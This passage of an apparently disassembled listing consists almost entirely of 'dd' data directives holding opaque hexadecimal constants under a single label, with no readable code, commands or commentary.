85E6E12Fh dd 3E883B7h, 0D6025D0Ah, 95517991h, 93309C0Dh, 0A9048AC8h dd 79C78A28h, 4107838Ch, 0BC310646h, 25A93CB4h, 0D424541Ah dd 91E34A92h, 35887268h, 1855801Dh, 728A0439h, 755B7553h dd 65413452h, 3D652412h, 8101AC1Fh, 86CAE8FCh, 0BB5982C3h dd 8A4CC833h, 0A9D4B6FCh, 0CA68482Dh, 20808A8Ch, 7914E40Fh dd 8248602h, 90DE81Ch, 0AB1441E9h, 0E8611E96h, 0AB278A98h dd 4EBD312Eh, 856A0CEBh, 49AC070Ah, 0ACBF64D5h, 8BFC97D4h dd 20ABC465h, 2E91CF5h, 245AE2BCh, 8042F4E6h, 0C69024A5h dd 6A967068h, 5C593C59h, 81D6C6EDh, 94E9011Dh, 0CC7584C3h dd 0C14A91D3h, 9B211A8h, 72EB2598h, 0C9223FA6h, 4B4A085h dd 11615377h, 922DB821h, 44B368DFh, 14D09201h, 1C457525h dd 41729CC8h, 0E8000196h, 27B51E6Dh, 56C96AF4h, 89420244h dd 0F9E52095h, 2ACEE88Ah, 12683B1Dh, 74077C29h, 88A82A0h dd 0A48B1A7Fh, 78671007h, 0C3BD21D4h, 18B246A7h, 0A41194B8h dd 855A9BE8h, 912E87CDh, 16EE740Ch, 12B8460Eh, 0CCEBEF78h dd 925EE070h, 0B5B27C24h, 3DBC9E66h, 8919E813h, 7CB1C7E8h dd 0F97C0EE9h, 85198614h, 1BB21992h, 0A7CC5AD2h, 99024AB6h dd 0D9400CAEh, 740E8846h, 5674681Ah, 3988C3A1h, 14EACE13h dd 24C42147h, 9FDD10C4h, 130DC855h, 9A36D085h, 0C7309434h dd 0E99D6F3Ah, 236C6912h, 8913AB53h, 0F13AD502h, 2D5A1212h dd 0DB057C2Fh, 1782144Ch, 1F9450A2h, 18029027h, 84EE7031h dd 24300682h, 853ECE8h, 7D2F11Bh, 30F0809h, 608021A8h dd 6A271890h, 0AC20700Dh, 84C47751h, 3BAAB57Eh, 86E80D01h dd 105A2691h, 0B888A17Ch, 32862942h, 74DC9C0Bh, 0CEEE6C62h dd 1AE6F3BBh, 490D0708h, 38ABAB8Fh, 4296DD72h, 9C126A14h dd 0E8C33490h, 89431E02h, 0B81AD913h, 4CAAA558h, 1CE2BABDh dd 7E2236B4h, 7B5B951Dh, 1C18EB0Ah, 2C0962D1h, 43E6942Eh dd 789B4023h, 988115FFh, 919EEB4h, 232F2A5h, 86BD8107h dd 0BD338006h, 0A479763h, 0A4033D83h, 2150BBB4h, 0C7183F75h dd 5AD5782Eh, 5A42E21h, 0BF55447Bh, 1B2956F6h, 5408CB35h dd 2F9C2606h, 25822E78h, 0F79F1B1Dh, 0BA75CBE3h, 5B8CD76Ah dd 652C806Bh, 7788F2FBh, 54EFA4EFh, 3E07F852h, 0D6F6CC7Ch dd 0EF33C805h, 51B21EECh, 5E596A57h, 9C756B4Bh, 17ADCDF3h dd 0F6E8FC54h, 0D1BC915Ah, 0A43B0CD0h, 0D75BEB44h, 81B8A5FCh dd 31276482h, 80210C73h, 29C4CAA0h, 56E4EB27h, 73B9FB51h dd 9F041515h, 12D28C80h, 3854748Ah, 5EEB29D0h, 0B4FFACDEh dd 81698FC1h, 8251A23Eh, 1077302h, 660164E9h, 8D954FC3h dd 2054C9BFh, 27D24D3Ch, 0F88EFFF2h, 735C3BECh, 58A81E5Eh dd 5682BFA6h, 55ED62F5h, 24BE3ED9h, 54A51FFFh, 0A15EA5BFh dd 2964217Bh, 10D5C25Ah, 17498A32h, 0AAC80AFFh, 48883731h dd 85DD3D43h, 488702Bh, 15C2AAD1h, 503B02E4h, 6DA57078h dd 650E0651h, 6A684060h, 60A18523h, 64686A4Ah, 3434D573h dd 0E19C26FAh, 0A2854848h, 0BD6C4E80h, 0EA6DF451h, 0F412AC0Bh dd 88BC318Ah, 94F27A01h dd 0FFD16A90h, 30AF8339h, 8B230054h, 20751041h, 0C2678B1h dd 0D33C4B01h, 13CED4EBh, 6161B220h, 0F9C109CDh, 1DE18A9Eh dd 0F16BEB0Bh, 153C0202h, 0EBBC1D91h, 0CA685E56h, 83F46506h dd 3FC429F1h, 741CDA21h, 0D8127999h, 0B7564036h, 0C7A7C3D3h dd 7E9D08B1h, 0D52A42DCh, 0B359D6D4h, 383FDB9Eh, 0BFC941A4h dd 99C7DDCBh, 3AF19D28h, 2F8D51F0h, 2E78A845h, 79BBABB7h dd 4510A291h, 4E892E4Ch, 0EA8402F2h, 0F17BE807h, 0A88D1DC2h dd 106A000Dh, 0D2088A5Ah, 40E888C1h, 0F6754A13h, 0BA9617EEh dd 7C08E22Ch, 8AC2C533h, 0E2C2EE0Eh, 7261011Eh, 20B17B03h dd 0BA7F8143h, 8A8648C1h, 7C3BA389h, 13C07F16h, 0AFDCEB46h dd 830BBD2Dh, 0E1039F11h, 210E03C9h, 4CD0898h, 0D053565h dd 851FFE8Bh, 0AA34AC01h, 0A221C002h, 854BE2D5h, 5C1A5124h dd 8D0F0C09h, 0A7BA5F97h, 2C81BA43h, 7F766A33h, 8B99633Dh dd 124EF9F7h, 0D504CCC3h, 8DEB0D65h, 560AFFD6h, 2C11042Ah dd 0BDD0F27Ch, 328AB8D3h, 0D74B32C8h, 200CC0A5h, 2E2C124h dd 32216EACh, 4712C8C2h, 0E950A804h, 213C9456h, 143D4B6h dd 0BE96691h, 0F87FA4A8h, 0B6480223h, 532E33E4h, 0C4D85E95h dd 2BFE4381h, 1FC7185Dh, 0C6517188h, 0CC5F1592h, 0E2E8122Bh dd 83E0377Bh, 0BC8514AAh, 6E17D033h, 7DEBD612h, 7D0D537Fh dd 144899DDh, 4176CA9Ch, 3213189Ch, 0A2D72D87h, 0CA2DE8CEh dd 1A4E5D26h, 0EB1345D8h, 5E3792B1h, 0D088AD48h, 50FB4E09h dd 10EF56BFh, 0B3AC7DD7h, 4FA15E9Dh, 0C29486Ch, 0FD51BDAAh dd 99D2F56Eh, 0E944E82Ah, 0F21F075h, 642A7D9Fh, 44191B16h dd 15EB3FCDh, 42602BFCh, 0C8652178h, 138C569Ah, 0EB912A43h dd 21560FB9h, 0B345FE0Fh, 0C7099C3Bh, 237E01E0h, 6A096751h dd 0CDABC0C0h, 0E80AABEFh, 43BADCFEh, 760C0298h, 23103254h dd 0AB76083h, 12149C07h, 4019385Dh, 0A8751055h, 8D1B3842h dd 0FBC1C104h, 1822E541h, 0D73023Bh, 0DA140BA7h, 4FE1BB18h dd 0BF1DE8C1h, 2649BE19h, 6A4AC003h, 0FFC2932h, 0FF4E84B2h dd 9568E99Ch, 18E4817Eh, 58406A42h, 125142DFh, 16510463h dd 0F86870ABh, 795A72E8h, 843838A3h, 820CD5Eh, 0A68C5C16h dd 131843A5h, 0E5A301C6h, 0A4DB554Ah, 0BB529368h, 4023DC6Fh dd 0C2683572h, 4C92E72h, 0CBBF79DFh, 8D726497h, 40389429h dd 6EE69439h, 0C5EBC513h, 0B1368550h, 220D78E9h, 0FDAADE2Eh dd 624D485h, 32284249h, 706B44CEh, 18805DC6h, 493F6AC5h dd 0D130F8DBh, 0F09F7308h, 35FC958Eh, 0B226CBA8h, 1A5A5578h dd 45261C2h, 686A894Ch, 62154038h, 24908EE8h, 0BFD014EBh dd 50081495h, 0CF78883Ah, 8A2708AAh, 0BB075010h, 0A355C67h dd 0C2B2F152h, 0B3B9551Ah, 6A214814h, 95480451h, 0B4D1303Ch dd 0EB135CF7h, 4D76CB10h, 0E5284ADAh, 0EA664E73h, 8104AF31h dd 4856A22Bh, 1635E477h, 194369BCh, 711A418Ah, 2211B10h dd 0D46D18E4h, 0E39682EBh, 0B28C50C4h, 0B045288Dh, 0E6223D8h dd 4A52A0A6h, 7598326Ch, 0F415CEF1h, 400C2009h, 236CF8F0h dd 78F7941Fh, 0BF8EBD1h, 7E0369C1h, 184B110h, 6AA47809h dd 0C19930D7h, 27076EE0h, 3C19E9C6h, 134C15B3h, 34A5DA23h dd 22F43A04h, 41F004B4h, 0E8C7B756h, 74DC5A57h, 7427D90Ch dd 11040914h, 9226994h, 0FDCF9323h, 44F83A08h, 82F408B8h dd 242070DBh, 74EE9D9Bh, 7427116Ch, 1183840Fh, 9F04829h dd 4081231Bh, 84FC3A34h, 88F8BC40h, 0BD7DCEEEh, 74337893h dd 74276416h, 111A240Ah, 0B6EAF548h, 0C011E817h, 7C0FAF81h dd 0C4F20FF5h, 21C62A30h, 46FE4787h, 461304C8h, 0C83FA830h dd 9522CECCh, 0E41FFD46h, 98D860D0h, 0FC694380h, 0AF1E8CD4h dd 0FE6144F7h, 0B125D846h, 0E8214A76h, 4DC46FEh, 895CD7BEh dd 0C0E0C83Fh, 6B901122h, 18E4F987h, 98711093h, 0E823FFFDh dd 79438E02h, 0ECE41FA6h, 0B4082160h, 0E9F64947h, 66321DFFh dd 6282FC88h, 94F61E25h, 210543E8h, 0E97F531Bh, 447E918Eh dd 0B34047F0h, 0E828C025h, 17428609h, 0E35C5FA5h, 0F44496A9h dd 5E5A5141h, 21E84A26h, 0A912900Eh, 0EBF85C57h, 0F8444E14h dd 0B6C714AAh, 14A2E8E9h, 0A20A0C19h, 105D30C4h, 0FED62F21h dd 5304D846h, 3F024414h, 81C0ECC8h, 87D8A1E6h, 0C818C0F9h dd 0E7D3FB10h, 2D423FFh, 21E1CDE6h, 60E8E41Fh, 433707D6h dd 8CBCFCC3h, 0D50D871Dh, 0D046FEE1h, 5A14ED0Fh, 0E423FF70h dd 0E3E90502h, 0B8E41FA9h, 0EFA3C167h, 0CCF20FFCh, 2102D930h dd 46FE676Fh, 4C8A0EE0h, 0F1FDD12Ah, 612B233h, 82B165F0h dd 0FFFA3942h, 21044314h, 33E2531Ch, 0A34E36AAh, 0F68102DAh dd 43148771h, 5315210Bh, 36A933E2h, 22088B96h, 516D9D61h dd 15DA0D10h, 368A9620h, 0CC30284Ah, 0E521380Ch, 321744FDh dd 0B4913509h, 0BEEA4481h, 0C0A20EA4h, 21CFA930h, 46D44BDEh dd 4B5004CCh, 883AF6BBh, 0BC70C0D8h, 5187BEBFh, 10C618E4h dd 0EA289B7Eh, 0FA02B023h, 1DEAA127h, 8560BC44h, 0D443EF30h dd 88CC8A8h, 4881D05h, 87D41175h, 0D994D039h, 0C0E0883Ah dd 0E6DB99E5h, 19EC5187h, 43A27CE8h, 8CB8A81Fh, 0AC566508h dd 12B0FEC4h, 0B0A44B1h, 162D3DC8h, 22441F6Fh, 644E129h dd 14151A32h, 847E39F4h, 0CC2BF842h, 0FF9702D8h, 4314432Ah dd 5116210Ah, 0E83947F8h, 0B624FC44h, 23A704B5h, 0F28AB94h dd 0A2114286h, 0D0398FFCh, 0C445F088h, 0A039E460h, 88FC4293h dd 7F0B6415h, 0C302E023h, 1F655B59h, 9260BCC4h, 8F430CCCh dd 758CD8F8h, 0FFEF217Dh, 1DB446FCh, 85105DD1h, 88C7DFEh dd 6FA87E4Fh, 81EC117Fh, 0FE2CE6E0h, 0C388E70Fh, 0A39A4314h dd 60E4C41Fh, 430811A1h, 8CC0F84Eh, 537E8208h, 0DC117FF7h dd 3AF23581h, 0B8E20FBDh, 21D2BB30h, 46FC2AD7h, 0D39104D4h dd 4A7FEB86h, 0A7B82387h, 513489F7h, 9E45BF28h, 0F6A411Dh dd 0DD51A7F3h, 1F34C833h, 0F52E10Ch, 41A805B3h, 51618B97h dd 1744AD1Ah, 14913C0h, 0A208E1C1h, 20F3987h, 0ED1E1002h dd 30131802h, 4D05594h, 0A74FEB8Ah, 0BE4B3BCBh, 6AF0A702h dd 0E25BF701h, 2415FF04h, 0EA38F4BEh, 9F046A80h, 20500AC4h dd 918FB010h, 3CB8F2B4h, 270B98D1h, 4933F11Ch, 50B7A8F8h dd 5705508Bh, 0AC35003h, 8EF84B0h, 0C24284B4h, 0C615B821h dd 59C7C828h, 0C4210BC5h, 67F2E841h, 3AFA673Eh, 0C82FC831h dd 0E353C82Dh, 1996D3CBh, 0C9411D54h, 192ACBF9h, 0CA7C570Dh dd 151994E5h, 0C07E7A3Ch, 554CC86Ch, 0C18117C9h, 0F193F111h dd 1CA5F2C2h, 0D4822B8h, 591D5099h, 0A8340560h, 18E8E1BDh dd 5FD4D12Bh, 75650467h, 32B7B49h, 0D5D233D4h, 0ACA954FFh dd 8571B77Ah, 0FEEBE8C1h, 0F4325B90h, 84CE1D38h, 77411547h dd 434BA23Bh, 42AC8822h, 0B03166F3h, 423CC20Dh, 91D1238Ah dd 25B85FACh, 0AA4E2046h, 0FC505F62h, 31D6C67h, 0E81E760Bh dd 9FE6F262h, 0EA018E05h, 81F8DE34h, 0EBEC12A6h, 8B88DC5Fh dd 7638A008h, 77E82A1Ah, 8B88FC2Ah, 55F6ABADh, 9DE02640h dd 0F572BE56h, 0AF4D8E24h, 0DA06E2E4h, 1F8F3E41h, 33CD073Bh dd 0D98C59DDh, 84613BC9h, 0AC7A2276h, 1CB2CA90h, 0FC445BA3h dd 0D8EB0F5Dh, 0F7F8163Fh, 7FAEC974h, 7471BA0Bh, 0FFEBD8E3h dd 8C051E8h, 0FFEC38DCh, 6EFB35C4h, 950DF128h, 0E2AA2148h dd 0F08AF75Bh, 20BF5Ah dd 487FF883h, 3B250F7Eh, 0A7341F7Fh, 6BF52570h, 0A3EE73Dh dd 0A75582EFh, 0CB958AFBh, 5518B74Eh, 1B78B8E1h, 6AE8AC40h dd 160ADD65h, 0A77D0B48h, 3EE1B0D5h, 4D5729E8h, 885DAFE7h dd 0F3C41386h, 882EFD52h, 38D7A5CAh, 8AE48CB9h, 715D2412h dd 76A02B9h, 4AB2A868h, 58BF1DEh, 0C7335F46h, 2085C6CBh dd 0C2B0FF09h, 0B6FFC2E1h, 1F0621FFh, 0F6892009h, 76F44992h dd 8B60D5CCh, 7E8CA5F1h, 639E62EDh, 81280720h, 686206BDh dd 0D51A7DB7h, 6ADDCD92h, 0CD05D544h, 0A817128Dh, 0F943035h dd 66ACDEBh, 0A8A0680Ah, 8021CD41h, 641308FDh, 0C2AA0C44h dd 16A4F083h, 6354378Ah, 0EE680461h, 0E70C8E19h, 0EC58C88Eh dd 0D132C664h, 21E44316h, 0C2BB91CAh, 1994680Bh, 8CA50CCEh dd 61E6B82Fh, 0D9552B25h, 4AF74FFh, 43E488D1h, 0F468186Ah dd 0A2852888h, 8182D70Eh, 7011F48Ch, 16093549h, 89DB0A3Eh dd 446A8709h, 7CA8A568h, 3F8F442Ch, 2B2039C7h, 33642990h dd 818E2078h, 554AACC5h, 6C62EF84h, 422CAE04h, 35C3E2E0h dd 97B8D810h, 2EDC448Dh, 58F16B21h, 5ACAD94Ah, 1C58D129h dd 0B4682906h, 1E165155h, 8900623h, 523CDEADh, 0BCC8AA08h dd 61C1215Ch, 292BC4DBh, 4D229B0h, 102EC4AAh, 2AE9616Ch dd 594741E3h, 3D157C8h, 30466133h, 74937348h, 0A356C61h dd 6252348Fh, 52C46835h, 68185CBFh, 60D6D834h, 28059487h dd 644CC447h, 70C4CC29h, 918D60A8h, 326A850Ah, 2C2A53C4h dd 32C47C23h, 180F2664h, 42F49421h, 0FC9E883h, 0DB1FA09Ch dd 8CE3408Bh, 0B7CCBE5h, 9548A4E8h, 494088B3h, 1AEB02E1h dd 0CCE5B076h, 10444C09h, 63604561h, 42FCF8BFh, 1A4711FDh dd 9DF0F4CFh, 0AF1946BBh, 43895103h, 0A2DC502Dh, 47FB845Ch dd 42271061h, 0F4100645h, 10C8A7F7h, 4410C960h, 406F5069h dd 0DC4384A8h, 43FCBB88h, 442FC820h, 0B08821DEh, 0F07B230Bh dd 158747E0h, 0F13E3EFh, 946DE8BEh, 8830127Ch, 218F26BBh dd 0C25B3847h, 31613EF0h, 215A5CB1h, 3C86C48Fh, 606A8895h dd 3D14DCA2h, 0D946E423h, 58220F49h, 0D7A06829h, 59B20C08h dd 88405EA4h, 58187909h, 0FD45F8D7h, 25AFFFD7h, 1010011Bh dd 4CE25BCEh, 86C40E3Eh, 16B05DA1h, 0F488228Ah, 5DD9E813h dd 0ED6A67EAh, 0F2F96F6Bh, 8F50EC5h, 3C9BD1Ch, 2664B862h dd 0C3042BB3h, 0F44560C0h, 8E6250Ah, 14BA427h, 0B4103B71h dd 0F7427208h, 165D8015h, 7E640888h, 0A2F9F837h, 908F540Ch dd 0E03EC8AEh, 0B3386820h, 23D24384h, 6A680728h, 52C50A03h dd 0C63B0045h, 0E8045B70h, 252AA4EFh, 0DC2D5623h, 422B2B75h dd 515D0875h, 10740A7Dh, 0AF04E714h, 2812C9EEh, 81A65C32h dd 1FEFB421h, 0B89E61A7h, 1C14AC62h, 28906850h, 0F03A2268h dd 5C9FE812h, 222A523Ah, 292E8684h, 392265E8h, 0F484A589h dd 0E6F300ECh, 8807091Ah, 10040665h, 0E9D1F7Dh, 6D441D09h dd 29784259h, 0CB49EB18h, 95E42117h, 11231862h, 0FDCE680Ah dd 0F248AA21h, 0F74464E2h, 0D6972C96h, 38C0B983h, 0C3F5E595h dd 0A65A1E73h, 0D66B81A0h, 895C1D9Fh, 0BD5E05C0h, 0BB0480C7h dd 0EB3242BEh, 0F0C4E9D3h, 757F7DC2h, 3B175735h, 24057D32h dd 87F86C2Dh, 0F94E2539h, 2C50BA83h, 16AA942h, 0F06D300Dh dd 51E97C92h, 0B5231033h, 79126156h, 0D42B3DECh, 0F493B216h dd 3CE9714h, 0BEE6B65Eh, 5C021010h, 5E6A891Ah, 40A0E2F6h dd 923D1011h, 0A7DDBD8Eh, 920DFD3h, 9091D195h, 837884CDh dd 9D20EA13h, 9F5B0DE8h, 5EBF2746h, 2C1371BDh, 1AE8C294h dd 68F15F43h, 55209A1Ch, 52A228Bh, 88E0836Fh, 5EBF6F6Eh dd 0EEDF4B0Fh, 62EF9E40h, 10115AC8h, 29D23028h, 311B1403h dd 6B42D652h, 97F0E098h, 3B45EC59h, 1C740C45h, 25A62232h dd 1A5D2559h, 80239F8Dh, 81921DEBh, 0F641E99h, 7F254D21h dd 5F08E94h, 0BC6F5781h, 61E39A58h, 0CA6BC6E6h, 0FAE8107Eh dd 0AF5A4A85h, 0F11FEDDh, 0CD7E59CDh, 0A40E1658h, 38DA3483h dd 0CCFF9EB2h, 21FC4279h, 0A4FD903Fh, 28EC1B32h, 5FED1118h dd 0FD28EF8h, 4E91E8CEh, 0FA5435AEh, 5544E7A3h, 187D8A92h dd 0E107D427h, 0FC29934Bh, 41DF4276h, 0E033144Eh, 57BD13FAh dd 0FF7FB30Ch, 9DD76009h, 71BF074Eh, 44AC68C8h, 523E67D6h dd 38996F07h, 12DA0DD8h, 4EF51358h, 1468492Ch, 0C8276EE0h dd 0C5D06EE4h, 0F50C70Ah, 0B22F91CEh, 9C0232B1h, 9F22FAD8h dd 0BA5904DAh, 64052B6h, 0A005122Bh, 0A2CFBC6h, 626C9F48h dd 6E986824h, 58DC2354h, 5CF85F67h, 8F40CA21h, 5DB4CFE9h dd 511E8CA2h, 5444A44Bh, 687431FAh, 23605E84h, 5788CE7Ch dd 226A475Ch, 1A56B76Fh, 0A234FE48h, 5B29C2B3h, 3D786474h dd 0AF7068E8h, 0E212116Ah, 47B81795h, 64560529h, 855C6C64h dd 3657BC42h, 0AAF13F42h, 43AF183Fh, 0D95488FDh, 66880A48h dd 8556E9F0h, 597254C4h, 0C83C461Eh, 10475434h, 0E85E9388h dd 3438C3Eh, 20D928C8h, 56BA840Ah, 0E4853D6Ch, 0FCAD71A8h dd 0C914210Eh, 66AB5289h, 142845DFh, 0C08807D4h, 0C862C4C4h dd 0B409D031h, 0F2AF79FEh, 30E815FEh, 0D3F14E7Eh, 11BE3009h dd 0A1C823C7h, 58DA2F33h, 0CAAE70D3h, 3E815FDh, 8B1C1539h dd 3BC94B6Fh, 423FA26Eh, 0E1811484h, 0C10B130Fh, 6A4888FEh dd 7DED065Eh, 0FF55D0C5h, 594A11CDh, 6C55B7C4h, 840BFF3Ah dd 0AA613DA5h, 0F4120EFBh, 0AE033CC5h, 3ED8CF94h, 0B8218C55h dd 0E65E3BFAh, 35A1C7Ch, 109ADF2Fh, 27E81201h, 91A43955h dd 54F91B0Eh, 0BC642267h, 0C82444D1h, 9E1D903h, 7D2418A0h dd 0C7C55768h, 2254F0C4h, 737F1410h, 3CDEC285h, 87FAE330h dd 7184463Bh, 5AD44A01h, 0C0C96F1h, 0BC191085h, 749D8C84h dd 0A773EA7Dh, 273C945Fh, 0E303992h, 0ED84FAB4h, 0A6FC3BDAh dd 242125Bh, 46013D6Ch, 0BBAC2154h, 21D1047h, 0EA10ACA2h dd 0E898E53h, 486516BCh, 4AB43DB0h, 7924C616h, 621609A4h dd 42298222h, 15E8151Fh, 142B30AEh, 4331110Fh, 45B4CAE8h dd 4C3B9C09h, 5C0E8998h, 5857A616h, 6B668848h, 5242001Ch dd 0F9393BF2h, 8A4C240Eh, 1DC2DDD1h, 0A25A0C15h, 0A1BD178Fh dd 0E283AB3Ah, 0FF5BF754h, 8522829Ch, 52B362B3h, 0F2364236h dd 555992A1h, 22D860E1h, 515B3EA6h, 4E306852h, 675D10EEh dd 0D0254DAh, 5E874868h, 0B9755920h, 0B17A546Eh, 0CDE63EC6h dd 2553EBC7h, 434ACB51h, 3C7481F6h, 994A0C68h, 9DF01A88h dd 8C48551h, 5E046861h, 51DE113Ch, 891761B2h, 0D03A39CCh dd 538C0E24h, 755F6A82h, 0E23BE0C5h, 0D2326A9Dh, 3A5225D2h dd 0BD9EEE6Ch, 0F3019189h, 9216861h, 9ED7399Fh, 5EF39EC0h dd 31015B2Bh, 618AE886h, 0C249A29Fh, 6112388Bh, 0E2CCB753h dd 11302B81h, 1E4BCC68h, 46C2C339h, 3B97210Eh, 5C87DD2h dd 9621ABC8h, 0B6397050h, 0C545FE89h, 52F45818h, 0C8219660h dd 1E52CBE2h, 0E88E81B4h, 683158FDh, 9F24A5BCh, 0AE4AF827h dd 5E50CC8Bh, 889DAF4Fh, 237E3868h, 4D138D3h, 582BEB01h dd 9AA65A55h, 31C8B843h, 6A53DF52h, 0F3FEC864h, 6340C840h dd 28844F79h, 0BD9EA468h, 0DDCB30DBh, 0DEB770BEh, 830F61A1h dd 6A2D899Fh, 97C47F0Ah, 4DF2F84Ch, 936A8F7Dh, 4AE8CEAh dd 0B6DCC741h, 9DC4AE34h, 7458B17Eh, 0FFB5F665h, 0FD4AB808h dd 49CB28ACh, 9E32ECh dd 145156A5h, 0F08E5202h, 312C12BCh, 4929EB1Ah, 2A3BC813h dd 2DBA20D3h, 0F7FD3A23h, 9F7ACC87h, 13B68E50h, 7CF9CBAh dd 0FF27376Bh, 2A1ED3CAh, 8C22A247h, 0E21AD49Dh, 4411C6DCh dd 0B8595D0Ch, 8B34932Bh, 2BFD8147h, 176EDDF9h, 620BD49Dh dd 9932B74h, 8FF9BDFh, 680509A7h, 0E845113Bh, 9C775Dh dd 0D69D0Ch, 9D2336C6h, 0F8524BD4h, 0A704CA2Dh, 2FA23954h dd 1146918Eh, 80D4504Dh, 5D2F588Ch, 51580FA4h, 71252F06h dd 4C72328Ch, 0E813B246h, 68AB4DC5h, 0FC9536AEh, 41CB5891h dd 0C7102786h, 2251775h, 1D5968FCh, 52E4A4A4h, 209FD9BEh dd 0D40AC09h, 0C20A9957h, 6F10FCA8h, 5E94854Dh, 0E4BD4F6Dh dd 9EA2FBB4h, 1375089Eh, 0E8123320h, 5461794Eh, 7E3C05D4h dd 7B065B7h, 0CB266D06h, 7EA4CC5Dh, 2918A985h, 54665E48h dd 0C90210C7h, 94FD45B8h, 0FE522562h, 56952616h, 1B5466B4h dd 0CC6054CBh, 46A155Dh, 0EA5B0C8Dh, 9AB5BC72h, 2F72D788h dd 0D162C8D0h, 5D088B15h, 0A52144E5h, 0C478A988h, 4ACE522Fh dd 924CB711h, 0C5FEE2AFh, 44621F75h, 643F2830h, 57F0726Ah dd 138244C4h, 0C7883848h, 84AC7D84h, 0A5B62521h, 0D76E80ABh dd 392CB7D7h, 0B926FD3Ch, 0E4213E68h, 80686149h, 901279C2h dd 0B9109264h, 11F79016h, 4D9FF49Ch, 9115A0A5h, 9889A40Fh dd 0C6BC8E7Bh, 0D080741h, 2341F93Bh, 0E491973h, 0A84484D9h dd 5ACD1551h, 296074FFh, 60FC6B27h, 16FAFD78h, 418D3389h dd 568C892Ch, 0A4522639h, 0D78A7761h, 952060FBh, 455D79BDh dd 0AF0B25A4h, 3C6155A2h, 2A9B8E0Fh, 7C3046EBh, 0B9F2EF2h dd 9EECF7CCh, 0B91F9062h, 0C8795D80h, 0BD63919Fh, 37027D5h dd 5D07A280h, 649201F3h, 9958C268h, 0A2949303h, 0CA8A766Ch dd 7A0912F9h, 47DD6911h, 0B731E308h, 0FA2885F7h, 6534D8E2h dd 8845EC1Fh, 334FA118h, 0C7467884h, 5474220Ch, 0E340128Bh dd 1C911A49h, 6808D074h, 0E80506F8h, 24FF4A59h, 0EE0C1371h dd 1C50B5D4h, 8ACE58A4h, 0A4221B3Eh, 0DC111285h, 2A23FF4Eh dd 0D72E4224h, 86DCD642h, 446C6813h, 5064A891h, 0CF7CEB44h dd 3A482901h, 12A58009h, 65E1F525h, 30F9991h, 9318921Ch dd 2A490189h, 94BE282Eh, 0A11F242h, 0F070CF4Ah, 8BF27490h dd 1AD515ABh, 0F4570EF7h, 52E9E27Eh, 9137A7C6h, 404A2C7h dd 0E88A4FB7h, 45B9A866h, 67189060h, 0A6A368C8h, 0A9B60FC2h dd 0F76A5515h, 518ACFC1h, 5901042Eh, 22F4FB36h, 8681992h dd 882EA98Ah, 53EBD44Ch, 359A2126h, 8083B1Ah, 0C6457328h dd 62B67827h, 46688D14h, 4FEF58Bh, 45E75164h, 9389308h dd 58FCA7DCh, 7CF56E48h, 4847DA30h, 6CD16C21h, 7010921Bh dd 23E05F1Dh, 7386869Ch, 0F34E0B5h, 128A5482h, 0AE218B84h dd 2E06A058h, 4255E068h, 34597977h, 60345C93h, 243B060Ah dd 846D749Dh, 4022E41Bh, 15542299h, 8278BB86h, 83517D48h dd 0BEB0F5A7h, 0A6B656EBh, 8B950FC8h, 4140252Bh, 5707C7B2h dd 3A6E5B30h, 89B11A21h, 7B9522EBh, 24680904h, 5AB7667Dh dd 9B2A72ABh, 3C2BA954h, 0E1AFAC92h, 0F1F562B9h, 0ED697375h dd 14A3BBA4h, 0DA474212h, 3B488483h, 901FB032h, 716184C5h dd 3FE35138h, 3A27E12Fh, 1461B8E5h, 0F83B2373h, 3318E06Eh dd 7754B5C1h, 8925DA7h, 7214C6FFh, 5ECE7406h, 2774BBB7h dd 0E6AED4BFh, 5DF827BEh, 110A718h, 8150751Dh, 0A7E90C96h dd 22E4A25Fh, 45C71411h, 0AE4B10F4h, 0C9642804h, 6F85CCFEh dd 1A7465Bh, 2F8F051Ch, 0AABD7653h, 0F0420B88h, 0F885AC21h dd 68A890E9h, 427502C3h, 47C6AD21h, 0C66408BBh, 18C89C71h dd 89148719h, 30C0A24Bh, 98A548EBh, 22580410h, 0E8CF9543h dd 45DA8491h, 1087862Ch, 0B92EAD8Dh, 0C61489D7h, 0EBC49542h dd 748C009Eh, 35182816h, 0BA8CDEE8h, 36620FB7h, 1C8466F0h dd 7C080BF8h, 0EF1C4750h, 0D449E917h, 32CE7D3Fh, 0C9D0940Ch dd 8B64552Ch, 0DC956784h, 76FC90CBh, 0CFB89DD2h, 88CF13D2h dd 0E82FFC3Eh, 16DE5986h, 6E99BA18h, 84F13B03h, 681C6A01h dd 0F0C44CC8h, 216E823h, 41CB98A1h, 0E810F598h, 68DDD435h dd 8BA3E262h, 401C5215h, 2EF12024h, 0E813BEE9h, 0C3D9BADCh dd 4866586Ah, 499733ECh, 254EE44Ch, 0AB7817Dh, 0ADE1214Ah dd 0C5883F8Bh, 3482A89h, 9E44009h, 0B595A032h, 0DFD98C88h dd 15328BA4h, 8AA2068Ah, 4BA16015h, 91EC0632h, 704B6CC2h dd 8A81D330h, 8817F44Dh, 8AEB1248h, 55EC895Eh, 0AF035111h dd 9F115016h, 0CFF7FA64h, 2E0188D9h, 49EC3FD2h, 0B82EC920h dd 0F5FEA479h, 66DCFD93h, 44AA4BEAh, 0EA70A5D0h, 2A616298h dd 2818ABE8h, 14128D8Bh, 0AE0D4488h, 0D10A8528h, 0D4207CAh dd 2F353B2Ah, 0A8DF1975h, 8D4013CEh, 0A0F00544h, 9F43B4F5h dd 0B561ABF4h, 0D1BA7C68h, 0D1CA1893h, 8FE7488h, 0B6435FB0h dd 26506D12h, 131DA844h, 2B8A2FEAh, 5344261Ah, 0E52BF42Dh dd 33B0A070h, 3D6F024Ch, 929CD5CDh, 0C722BAEEh, 0C60D8905h dd 0FDF42780h, 90572B2h, 0CFAA40h, 0B15EB84Fh, 15C7840Fh dd 18206A59h, 99B050DDh, 21FED4E2h, 68521DE8h, 0E120D01Fh dd 0B23ECBA0h, 5157DDA5h, 2F21EE74h, 5902DD45h, 4B381CB1h dd 1721460Dh, 0DCD84555h, 0F0A9A10Ch, 59D5641Dh, 3D94F0BCh dd 745C7011h, 4269CB16h, 934EF7ECh, 2742CB21h, 91E901F4h dd 26724B6Bh, 8AB9125Eh, 5DA87A30h, 309642AAh, 0EE4396Bh dd 5BE245A8h, 2AC58D42h, 0A6FCA0B4h, 2147A429h, 0EB892AADh dd 726BD6B9h, 394C55D6h, 642B5F40h, 146C0512h, 3AC1B56Ah dd 0F7BB7B85h, 4E464940h, 3DD60AB7h, 3A2342F5h, 0CCD65B40h dd 0A4527488h, 4580EC0Fh, 7AEC2ECEh, 0D113F29h, 6921A805h dd 10A57A54h, 1EFAC1B5h, 75732F30h, 6948A6BDh, 927159AFh dd 43FA113h, 9839920Dh, 0C1567CB2h, 0B1740111h, 422A98DDh dd 0AF9B72A7h, 